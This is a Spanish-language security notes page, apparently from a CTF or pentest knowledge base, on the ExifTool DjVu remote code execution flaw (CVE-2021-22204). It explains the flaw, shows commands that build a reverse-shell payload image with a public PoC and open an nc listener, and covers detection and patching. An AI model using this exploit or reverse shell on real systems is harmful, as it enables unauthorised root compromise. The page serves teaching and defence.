the_open_door
café
ESEN
← Volver al índice

ExifTool: RCE via DjVu (CVE-2021-22204)

ExifTool (<= 12.23) ejecuta código arbitrario al procesar los metadatos de una imagen DjVu manipulada (CVE-2021-22204). El fallo está en cómo ExifTool interpreta el campo de metadatos de DjVu: su contenido acaba pasando por eval de Perl, así que un valor cuidadosamente construido se ejecuta como código Perl con los privilegios del proceso que llamó a ExifTool.

Como ExifTool casi nunca se ejecuta solo, el vector real suele ser indirecto: un servicio, un cron o un pipeline que corre exiftool sobre ficheros que el atacante puede colocar. El caso clásico es un cron de root que procesa un directorio de subidas (cron sobre directorio escribible): basta dejar ahí el payload y esperar a que la tarea privilegiada lo abra.

El PoC de LazyTitan33 genera una imagen .jpg con el DjVu malicioso incrustado y el reverse shell embebido:

git clone https://github.com/LazyTitan33/ExifTool-DjVu-exploit
python3 CVE-2021-22204.py 2>/dev/null   # -> payload.jpg
# dejar payload.jpg donde lo procese el servicio/cron vulnerable y escuchar
rlwrap nc -nlvp 4445

El nombre "imagen" es engañoso: el fichero es un contenedor de código que ExifTool ejecuta al analizarlo. Es un buen recordatorio de que parsear datos no confiables con una herramienta vulnerable es ejecución de código, no una simple lectura de metadatos.

Cómo detectarlo. Como el vector es indirecto, la firma más limpia es de linaje de procesos: exiftool (o el perl que invoca) lanzando sh/bash/nc como hijo, algo que un simple lectura de metadatos jamás hace (auditd/Sysmon for Linux sobre execve). En el host, un fichero de imagen recién subido cuyo interior contiene una estructura DjVu con código Perl ((metadata ...) con system/backticks) es detectable con exiftool -v o strings sobre el directorio de subidas. Un cron o servicio de root que abre un directorio escribible y acto seguido establece una conexión saliente cierra la cadena.

Defensa. Actualizar ExifTool a 12.24 o superior; no ejecutar parsers de metadatos como root ni sobre directorios escribibles por usuarios sin confianza; y aislar (sandbox) el procesamiento de ficheros subidos.

Herramientasexiftool

Máquinas donde se aplica